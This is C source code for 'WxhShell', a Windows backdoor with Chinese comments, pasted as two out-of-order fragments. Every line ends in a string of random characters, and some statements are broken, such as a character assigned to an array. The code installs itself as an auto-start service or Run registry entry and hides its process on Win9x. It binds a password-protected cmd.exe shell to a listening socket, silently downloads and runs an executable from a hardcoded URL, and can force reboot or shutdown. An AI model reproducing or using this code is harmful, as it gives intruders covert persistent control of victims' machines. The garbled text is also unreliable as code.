    send(wsh,msg_ws_err,strlen(msg_ws_err),0); veX#K#  
    else { :H($|$\h  
    closesocket(wsh); 7(c7-  
    ExitThread(0); >8h14uCk  
    } k+ [V%[U  
    break; %_Gc9SI  
    } 2k}~"!e1  
  // 获取shell yop,%Fe  
  case 's': { Ve\^(9n  
    CmdShell(wsh); 'jh9n7mH  
    closesocket(wsh); [~e{58}J|  
    ExitThread(0); xQ4 5B` $  
    break; '| (#^jAj  
  } 8U}BSM_<2  
  // 退出 fui;F"+1  
  case 'x': { {jB& e,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ajB4 Lj,:r  
    CloseIt(wsh); k\(LBZ"vR  
    break; 2;X{ZLo  
    } b.HfxYt(  
  // 离开 &("HH"!  
  case 'q': { D >ax<t1K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hw[(v[v  
    closesocket(wsh); t* eZe`|  
    WSACleanup(); rC )pCC  
    exit(1); 2MS-e}mi  
    break; }!-BZIOlO  
        } V*]cF=W[A  
  } nGb%mlb  
  } Z,~Bz@5`"  
x[XN;W&  
  // 提示信息 ,pfHNK-u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6aC'\8{h  
} s*% pNE U  
  } h\C" ti2  
^f][;>c  
  return; kB~KC-&O  
} 'u"r^o?  
e<F>u#d  
// shell模块句柄 i$`OOV=/e  
int CmdShell(SOCKET sock) "eKNk  
{ &oi*]:<FNe  
STARTUPINFO si; J* V@huF  
ZeroMemory(&si,sizeof(si)); Z*r;"WHB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qu>5 rg-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EPO*{bN7O  
PROCESS_INFORMATION ProcessInfo; Tgxxm  
char cmdline[]="cmd"; $'m&RzZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _g{*;?mS  
  return 0; VL6_in(  
} lJZ-*"9V  
7,vvL8\NHu  
// 自身启动模式 >v1E;-ZA  
int StartFromService(void) B_Qi  
{ Tz/=\_}  
typedef struct O [Q;[@  
{ o0SQJ1.a$  
  DWORD ExitStatus; #Z%?lx"Q0  
  DWORD PebBaseAddress; M@)^*=0H  
  DWORD AffinityMask; [+7 Nu  
  DWORD BasePriority; _Nze="Pt  
  ULONG UniqueProcessId; H|V q  
  ULONG InheritedFromUniqueProcessId; KBVW <;C$  
}   PROCESS_BASIC_INFORMATION; R^t )~\d  
2Mqac:L  
PROCNTQSIP NtQueryInformationProcess; "Yh[-[,  
?r< F/$/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~n)gP9Hv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WsHC%+\'  
P?QVT;]  
  HANDLE             hProcess; a+wc"RQ |  
  PROCESS_BASIC_INFORMATION pbi; ,V$PV,G  
G3 h&nH,>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #f *,mY|>  
  if(NULL == hInst ) return 0; =lyP &u  
y]9PLch]vZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AfQ?jKk&{'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u+ wKs`   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (WoKrd.!  
z>n<+tso  
  if (!NtQueryInformationProcess) return 0; ZAK NyA2  
ykq9]Xqhv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >$^v@jf  
  if(!hProcess) return 0; =^nb-9.  
{R5{v6m_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E05RqnqBn0  
3WH"NC-O<  
  CloseHandle(hProcess); -wA^ao   
G5;N#^myJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !%v=9muay  
if(hProcess==NULL) return 0; <W$Ig@4[.d  
%+>t @F,GM  
HMODULE hMod; $x%3^{G  
char procName[255]; j?eWh#[K"  
unsigned long cbNeeded; {'(1c)q>  
WnATgY t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u+U '|6)E  
I\8f`l  
  CloseHandle(hProcess); |dLA D4%  
A4kYE A  
if(strstr(procName,"services")) return 1; // 以服务启动 ez2rCpA  
K/^70;/!.  
  return 0; // 注册表启动 d5b \kRr  
} 4tZnYGvqe  
(YOp  
// 主模块 K9-?7X  
int StartWxhshell(LPSTR lpCmdLine) 0u,OW  
{ fe,A\W&8  
  SOCKET wsl; $ U~3$*R  
BOOL val=TRUE; f;Cu@z{b  
  int port=0; Kzv*`  
  struct sockaddr_in door; sg=mkkD!g  
=%wwepz6  
  if(wscfg.ws_autoins) Install(); }Y{aVn&C  
L%3m_'6QP  
port=atoi(lpCmdLine); xt{f+c@P  
k3:8T#N>!O  
if(port<=0) port=wscfg.ws_port; NZj_7j|o9  
^:c:~F6J  
  WSADATA data; 'yrU_k,h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jsXj9:X I  
MV+S.`R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   > `uk2QdC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !a(#G7zA  
  door.sin_family = AF_INET; wK0= I\WN9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dcK7Dd->  
  door.sin_port = htons(port); #<^ngoOj  
`63?FzT y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )2 Omsh  
closesocket(wsl); ^5"2s:vP  
return 1; n$z}DE5 #  
} C>1fL6ct  
&n5Lc`  
  if(listen(wsl,2) == INVALID_SOCKET) { 2f;fdzjk8K  
closesocket(wsl); +`@)87O  
return 1; '[XtARtY`  
} ]["=K!la:  
  Wxhshell(wsl); ,g2oqq ?  
  WSACleanup(); .:<-E%  
!3E %u$-}  
return 0; gEejLyOag  
9}\{0;9  
} 9`3%o9V9Y  
f/_RtOSw  
// 以NT服务方式启动 Z(' iZ'55F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M-  f)\`I  
{ 3jH8pO^  
DWORD   status = 0; E0g` xf 6c  
  DWORD   specificError = 0xfffffff; _~^JRC[q  
|.]:#)^X?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d"7l<y5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'CTvKW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'dnTu@mUT  
  serviceStatus.dwWin32ExitCode     = 0; *1Q~/<W  
  serviceStatus.dwServiceSpecificExitCode = 0; dHE\+{K%-  
  serviceStatus.dwCheckPoint       = 0; LuLnmnmB  
  serviceStatus.dwWaitHint       = 0; c[/h7!/aH  
k8]uy2R6}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NlBnV  
  if (hServiceStatusHandle==0) return; 9c /&+j  
\xQ10\u  
status = GetLastError(); 0K0[mC}ZwM  
  if (status!=NO_ERROR) <> jut  
{ f*+eu @  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h{dR)#)GF<  
    serviceStatus.dwCheckPoint       = 0; hQm"K~SW=  
    serviceStatus.dwWaitHint       = 0; (#4   
    serviceStatus.dwWin32ExitCode     = status; ac/=%om8u  
    serviceStatus.dwServiceSpecificExitCode = specificError; "R"7'sJMI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S\qYw(G  
    return; F<KUVe  
  } qk Cj33v  
Rf &~7h'+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U~,~GU=X  
  serviceStatus.dwCheckPoint       = 0; :d&^//9  
  serviceStatus.dwWaitHint       = 0; ,]OL[m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dy4! >zxF  
} AWp{n  
t-xw=&!w  
// 处理NT服务事件,比如:启动、停止 n1X.]|6'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QQ+?J~  
{ }d,iA FG  
switch(fdwControl) ^,Paih 2  
{ Y#'?3  
case SERVICE_CONTROL_STOP: l P4A?J+Q  
  serviceStatus.dwWin32ExitCode = 0; sCX 8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rA/jNX@S  
  serviceStatus.dwCheckPoint   = 0; |@}Yady@C  
  serviceStatus.dwWaitHint     = 0; Ha U6`IP  
  { )czuJ5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8P wobln  
  } LK "47  
  return; IX!Q X  
case SERVICE_CONTROL_PAUSE: '?q \mi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SA5 g~{"  
  break; De^GWO.?bT  
case SERVICE_CONTROL_CONTINUE: kW v)+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yq3i=RB(  
  break; [V\0P,l  
case SERVICE_CONTROL_INTERROGATE: vm3B>ACJ  
  break; %fS__Tb#u  
}; /$'R!d5r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ebbC`eFD  
} c,$ >u,4  
rt\i@}  
// 标准应用程序主函数 A4}6hG#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gAy,uP~,  
{ K_@[%  
$6BD6\@  
// 获取操作系统版本 yu3T5@Ww  
OsIsNt=GetOsVer(); ^Vl{IsY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,ux?wa+  
!nQ!J+ g  
  // 从命令行安装 1-@[th  
  if(strpbrk(lpCmdLine,"iI")) Install(); NJEubC?  
] ~;x$Z)  
  // 下载执行文件 `@8QQB  
if(wscfg.ws_downexe) { I8|7~jRB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;QT.|.t6  
  WinExec(wscfg.ws_filenam,SW_HIDE); #6])\  
} R$'0<y8E*]  
K._tCB:  
if(!OsIsNt) { L-7?:  
// 如果时win9x,隐藏进程并且设置为注册表启动 )qGw!^8  
HideProc(); %R%e0|a  
StartWxhshell(lpCmdLine); [B}$U|V0  
} l]BIFZ~  
else ]!yuD/4A  
  if(StartFromService()) 6 ufF34tA  
  // 以服务方式启动 G(LGa2;Zg  
  StartServiceCtrlDispatcher(DispatchTable); U5uO|\+)  
else Mlr\#BO"9  
  // 普通方式启动 B~/:["zTh&  
  StartWxhshell(lpCmdLine); g]^@bxdg  
}Y/uU"t  
return 0; 3"ALohlL  
} &E0d{ 2  
PZVh)6f"c  
C_SJ4Sh  
KrcL*j&^  
=========================================== +{Qk9Z  
BDW%cs  
+|#lUXC  
\,YF['Qq  
),#%jc2_^  
<ID/\Qx`q  
" MfJ;":]O!  
&5]&6TD6  
#include <stdio.h> w8!S;~xKI  
#include <string.h> o!q3+Pp;}  
#include <windows.h> D4e*Wwk  
#include <winsock2.h> U)Cv_qe  
#include <winsvc.h> i%jti6z$Hr  
#include <urlmon.h> F iZe4{(p  
-O.q$D=as  
#pragma comment (lib, "Ws2_32.lib") 2!Bjs?K<bv  
#pragma comment (lib, "urlmon.lib") jQ &$5&o  
SE%B&8ZD  
#define MAX_USER   100 // 最大客户端连接数 m+y5Q&;f  
#define BUF_SOCK   200 // sock buffer inO)Y]|f  
#define KEY_BUFF   255 // 输入 buffer ~j%g?;#*  
"~ 1:7{k  
#define REBOOT     0   // 重启 E$B7E@(U  
#define SHUTDOWN   1   // 关机 [ML%u$-  
T%{qwZc+mJ  
#define DEF_PORT   5000 // 监听端口 #bxUI{*J  
*VJT]^_  
#define REG_LEN     16   // 注册表键长度 MeD}S@H  
#define SVC_LEN     80   // NT服务名长度 OEz'&))J  
,BGaJ|k  
// 从dll定义API A*;I}F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ya[][!.G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MHh>~Y(h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]njObU)[zr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p.(8ekh  
H/qv%!/o  
// wxhshell配置信息 Ne{2fV>8Ay  
struct WSCFG { [PVem  
  int ws_port;         // 监听端口 AfU~k!4`  
  char ws_passstr[REG_LEN]; // 口令 U^ bF}4m  
  int ws_autoins;       // 安装标记, 1=yes 0=no S8 +GM  
  char ws_regname[REG_LEN]; // 注册表键名 99GzhX_  
  char ws_svcname[REG_LEN]; // 服务名 /oA=6N#j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gP&G63^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8SV.giG;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2~yYwX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3em&7QM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {s]yP_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0)@7$Xhf  
]r]=Q"/5  
}; P0 R8 f  
 t 0 $}  
// default Wxhshell configuration 5u\#@% \6  
struct WSCFG wscfg={DEF_PORT, ,;RAPT4  
    "xuhuanlingzhe", :Q~Rb<']{x  
    1, }vp pn=[Y  
    "Wxhshell", Wq5Nc  
    "Wxhshell", @xKfqKoqg  
            "WxhShell Service", ]+C;C  
    "Wrsky Windows CmdShell Service", XTzz/.T;Z  
    "Please Input Your Password: ", ^0 zWiX  
  1, ,C4gA(')K  
  "http://www.wrsky.com/wxhshell.exe", |wef[|@%  
  "Wxhshell.exe" |f9fq~'1e  
    }; 2P&KU%D)0s  
<oFZFlY@  
// 消息定义模块 =f FTi1]/h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E=G"_ ^hCE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zo=w8Hr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O,$ ?Pj6  
char *msg_ws_ext="\n\rExit."; bl/tl_.p00  
char *msg_ws_end="\n\rQuit."; @m#1[n;  
char *msg_ws_boot="\n\rReboot..."; n'WhCrW  
char *msg_ws_poff="\n\rShutdown..."; _9y  
char *msg_ws_down="\n\rSave to "; 6),U(e%  
puv/+!q  
char *msg_ws_err="\n\rErr!"; =f{)!uW<4  
char *msg_ws_ok="\n\rOK!"; vKX6@eg"  
VLLE0W _]  
char ExeFile[MAX_PATH]; d&N[\5q  
int nUser = 0; rMV<}C ^  
HANDLE handles[MAX_USER]; gb_r <j:w  
int OsIsNt; @;^7kt  
|.asg  
SERVICE_STATUS       serviceStatus; o@o0V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8`I/\8;H'p  
zO@7V>2  
// 函数声明 .ty^k@J|]  
int Install(void); U};~ff+  
int Uninstall(void); "Uk "  
int DownloadFile(char *sURL, SOCKET wsh); F. N4Q'2Z  
int Boot(int flag); ZvQ~K(3  
void HideProc(void); Iu3*`H  
int GetOsVer(void); F<W`zQ46  
int Wxhshell(SOCKET wsl); #b^x!lR  
void TalkWithClient(void *cs); e!eUgD  
int CmdShell(SOCKET sock); d]fo>[%Xr  
int StartFromService(void); ")gd)_FOS  
int StartWxhshell(LPSTR lpCmdLine); GjHV|)^  
Qp]-:b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -W6r.E$mC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EWU(Al T  
cx+li4v  
// 数据结构和表定义 y2_^lW%  
SERVICE_TABLE_ENTRY DispatchTable[] = :)~idVlV  
{ ,_G((oS40  
{wscfg.ws_svcname, NTServiceMain}, QTy xx  
{NULL, NULL} /o/0 9K  
}; ">-mZ'$#L  
:J 7p=sX  
// 自我安装 ?PpGBm2f*  
int Install(void) Kuj*U'ed7t  
{ 7 3 Oo;  
  char svExeFile[MAX_PATH]; E/<5JhI9~  
  HKEY key; :o2^?k8k&#  
  strcpy(svExeFile,ExeFile); bVLuv`A/  
~|FKl%  
// 如果是win9x系统,修改注册表设为自启动 K3CTxU(  
if(!OsIsNt) { ?zS t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dg(fD>+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S yf0dp3  
  RegCloseKey(key); &5x ]9   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #z( JYw,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x)^/3  
  RegCloseKey(key); u U|fCwQt  
  return 0; Z'u:Em  
    } )P)Zds@F  
  } J2va Kl  
} ]j^V5y"  
else { 2 c%*u {=:  
#iZ%CY\  
// 如果是NT以上系统,安装为系统服务 BGe&c,feIc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $<]G#&F   
if (schSCManager!=0) C>A*L4c]F  
{ JQ[~N-  
  SC_HANDLE schService = CreateService mbZS J  
  ( RD$"ft]Vc  
  schSCManager, !awsQ!e|  
  wscfg.ws_svcname, 65@,FDg*i  
  wscfg.ws_svcdisp, sF+mfoMtG  
  SERVICE_ALL_ACCESS, >$%rsc}^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Os9;;^k  
  SERVICE_AUTO_START, D>HX1LV  
  SERVICE_ERROR_NORMAL, 7yp}*b{s  
  svExeFile, e>GX]tK  
  NULL, _&]B  
  NULL, PX5K-|R  
  NULL, _ +"V5z  
  NULL,  Z>O2  
  NULL O<H5W|cM  
  ); <<ze84 E  
  if (schService!=0) K~U5jp c  
  { I_h8)W  
  CloseServiceHandle(schService); cTq}H_hC  
  CloseServiceHandle(schSCManager); C}7 c:4c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !8z,}HUdK  
  strcat(svExeFile,wscfg.ws_svcname); V~9s+>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3ZAPcpB2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^hMJNy&R  
  RegCloseKey(key); X}-) io  
  return 0; @$e!|.{1q  
    } szDd!(&pv  
  } L{2KK]IF  
  CloseServiceHandle(schSCManager); 3T<aGW1  
} RV&=B%w+  
} $_u9Y!  
7*a']W{aJ  
return 1; i6.HR?n  
} +O2z&a;q  
o'`:$ (  
// 自我卸载 ipIexv1/S  
int Uninstall(void) 8}Qmhm`_j=  
{ IpRdGT02  
  HKEY key; ]P5|V4FXo  
]csfK${  
if(!OsIsNt) { t/3t69\x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YpGG^;M$  
  RegDeleteValue(key,wscfg.ws_regname); SDW_Y^Tb  
  RegCloseKey(key); E|Q|Nx!6[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *[QFIDn:  
  RegDeleteValue(key,wscfg.ws_regname); ;1wRo`RD  
  RegCloseKey(key); nO{m2&r+  
  return 0; 3=)!9;uY  
  } 8ph*S&H  
} <z=d5g{n  
} 7FTf8  
else { .o&Vu,/H  
]:6M!+?(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d=6FL" .o  
if (schSCManager!=0) a%fMf[Fu  
{ `u *:wJsv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TsvF~Gdp  
  if (schService!=0) (;Ad:!9{  
  { )6k([u%;B  
  if(DeleteService(schService)!=0) { Ag6^>xb^  
  CloseServiceHandle(schService); E&wz0d;gf  
  CloseServiceHandle(schSCManager); ^J[r<Dm8F  
  return 0; {cW%i:  
  } AMm)E  
  CloseServiceHandle(schService); uxKj7!(#  
  } 6UXDIg=  
  CloseServiceHandle(schSCManager); zj+.MG04  
} q>E[)\+y  
} "s6\l~+9l  
&rj)Oh2  
return 1; A:?|\r  
} y9#r SA*  
}3Mnq?.-  
// 从指定url下载文件 j\uh]8N3<  
int DownloadFile(char *sURL, SOCKET wsh) q\`0'Z,  
{ \d,wcL  
  HRESULT hr; {Y(#<UDM  
char seps[]= "/"; Q8~|0X\.g  
char *token; DC5^k[m  
char *file; S%sD#0l  
char myURL[MAX_PATH]; |P>Yf0  
char myFILE[MAX_PATH]; n@`:"j%s_  
OX  r%b  
strcpy(myURL,sURL); *?-,=%,z/  
  token=strtok(myURL,seps); k'(eQ5R3L  
  while(token!=NULL) FVgE^_  
  { /3!c ;(  
    file=token; DC-tBbQkk  
  token=strtok(NULL,seps); 'Pm.b}p<  
  } KcK,%!>B  
k|Syw ATr  
GetCurrentDirectory(MAX_PATH,myFILE); ~kJ}Z<e  
strcat(myFILE, "\\"); Q, `:RF3  
strcat(myFILE, file); Y]33:c_;Mo  
  send(wsh,myFILE,strlen(myFILE),0); A0@E^bG  
send(wsh,"...",3,0); (:spA5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G%RL8HU  
  if(hr==S_OK) ,8Yc@P_O  
return 0; &Se!AcvKF  
else ?4^8C4  
return 1; ^tFbg+.  
]m(C}}  
} )qL UHE=  
g9XAUZe  
// 系统电源模块 /ta5d;@  
int Boot(int flag) /|HVp  
{ t 5{Y'  
  HANDLE hToken; a#k=! W  
  TOKEN_PRIVILEGES tkp; uDWxIP,m  
oQS_rv\Ber  
  if(OsIsNt) { 3R=R k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I=DvP;!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3`mM0,fY  
    tkp.PrivilegeCount = 1; z5|m`$gy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ALOS>Bi&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); icw (y(W  
if(flag==REBOOT) { "~|;XoMU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WA$Ug  
  return 0; r) SG!;X  
} 8F;f&&L"y  
else { yG ,oSp|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b;O@|HK&~  
  return 0; x&N!SU6  
} B'kV.3t  
  } s;9>YV2at  
  else { Uh tk`2O  
if(flag==REBOOT) { w9W0j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K*]^0  
  return 0; Ne=o+ $.(  
} >cV^f6fH  
else { ] C&AU[U*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :1 Y*&s  
  return 0; nz}} m^-j  
} bFv,.(h'  
} ^hN.FIzM  
J,&B   
return 1; [JzOsi~R  
} 5{esL4k  
#@v$`Df<  
// win9x进程隐藏模块 GcpAj9  
void HideProc(void) 5J1q]^  
{ M;$LB@h  
(3[Lz+W.u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z{".(?+}1  
  if ( hKernel != NULL ) XoZw8cY  
  { ,o{|W9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1yg5d9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l[cBDNlrC;  
    FreeLibrary(hKernel); KBO{ g:"  
  } =ll{M{0Q]!  
hHoc>S6^M  
return; +,H6)'#Z  
} OfAh? ^R  
d ~`_;.z  
// 获取操作系统版本 ]JUb;B;Z  
int GetOsVer(void) D |lm,  
{ S7A[HG;  
  OSVERSIONINFO winfo; .bT+#x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YM(` E9{h  
  GetVersionEx(&winfo); _Cd_i[K[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tam\,j  
  return 1; `Qg#`  
  else `O'@TrI  
  return 0; `n{yls7.  
} [tP6FdS/M=  
\`MX\OR  
// 客户端句柄模块 f5droys9  
int Wxhshell(SOCKET wsl) Og8'K=O#  
{ |K jy4.2  
  SOCKET wsh; aV6l"A]  
  struct sockaddr_in client; M10u?  
  DWORD myID; m K);NvJ!  
JBCJVWUt  
  while(nUser<MAX_USER) {;kH&Pp  
{ \B$Q%\-PX  
  int nSize=sizeof(client); -$8M#n,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m$UrY(6d  
  if(wsh==INVALID_SOCKET) return 1; {Yp;R  
HJh9 <I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y >N`(  
if(handles[nUser]==0) tK$x=9M  
  closesocket(wsh); DKzP)!B "  
else 51Nh"JTy  
  nUser++; SjZ?keKZ  
  } ^9ZW }AAO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3o>.Z;  
J6s55 v  
  return 0; potb6jc?  
} u40k9vh  
'g$a.75/-  
// 关闭 socket x,3oa_'E  
void CloseIt(SOCKET wsh) +"!=E erKi  
{ bO:m^*  
closesocket(wsh); ` s}v6  
nUser--; 8r 4 L4  
ExitThread(0); %L^S;v3  
} /JOEnQ5X\!  
u{@b_7 5Y  
// 客户端请求句柄 -54  
void TalkWithClient(void *cs) fV` R7m.  
{ f7Dx.-  
0aF&5Lk`y  
  SOCKET wsh=(SOCKET)cs; BWz7m9 T  
  char pwd[SVC_LEN]; IIW6;jS  
  char cmd[KEY_BUFF]; 1 ^k#g,  
char chr[1]; ;h }^f-  
int i,j; dF- d  
09RJc3XE9  
  while (nUser < MAX_USER) { z+J4XpX0,  
7r_Y.  
if(wscfg.ws_passstr) { ke(LjRS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j(8I+||  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g[W`4  
  //ZeroMemory(pwd,KEY_BUFF); &;)6G1X1  
      i=0; _*.Wo"[%[X  
  while(i<SVC_LEN) { }+_Z|>qv  
hgz7dF  
  // 设置超时 :h|nV ~  
  fd_set FdRead; ,B,2t u2  
  struct timeval TimeOut; tvC7LLNP<  
  FD_ZERO(&FdRead); @Lj28&4:<  
  FD_SET(wsh,&FdRead); (:p&[HNuN  
  TimeOut.tv_sec=8; P9wx`x""k  
  TimeOut.tv_usec=0; +bj[.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u/@dWeY[]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aXSTA ,%  
wN])"bmB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z~.3)6,z  
  pwd=chr[0]; 05<MsxB"w  
  if(chr[0]==0xd || chr[0]==0xa) { u.}z}'-  
  pwd=0; ^PCshb##  
  break; )eFq0+6*)  
  } a*8^M\>m4  
  i++; p^LUyLG`  
    } XOM@Pi#z  
D;V FM P  
  // 如果是非法用户,关闭 socket =a_B'^`L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w:}RS.AK  
} tXocGM {6C  
GUe&WW:Sqk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =;1MpD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^[d|^fRH Q  
e/?>6'6 5  
while(1) { YdI|xu>0A^  
xl(];&A3  
  ZeroMemory(cmd,KEY_BUFF); GlDl0P,*r  
vM}oxhQ$n  
      // 自动支持客户端 telnet标准   C#5z!z/:%  
  j=0; C?Sy90f  
  while(j<KEY_BUFF) { ]< 0|"NL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t._W643~  
  cmd[j]=chr[0]; 07T"alXf:A  
  if(chr[0]==0xa || chr[0]==0xd) { &oWdBna"_  
  cmd[j]=0; && }'  
  break; ACg5"  
  } T[iwP~l  
  j++; T/%s7!E  
    } \h%/Cp+p  
x)h p3&L  
  // 下载文件 x. 7Ln9  
  if(strstr(cmd,"http://")) { Y%UfwbX!g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _fH.#C  
  if(DownloadFile(cmd,wsh)) .1yp}&e#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  \|Qx`-  
  else T j7i#o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( _ZOUMe  
  } +_8*;k@F'  
  else { ]-$0?/`p8  
mis cmD  
    switch(cmd[0]) { @l0#C5(:  
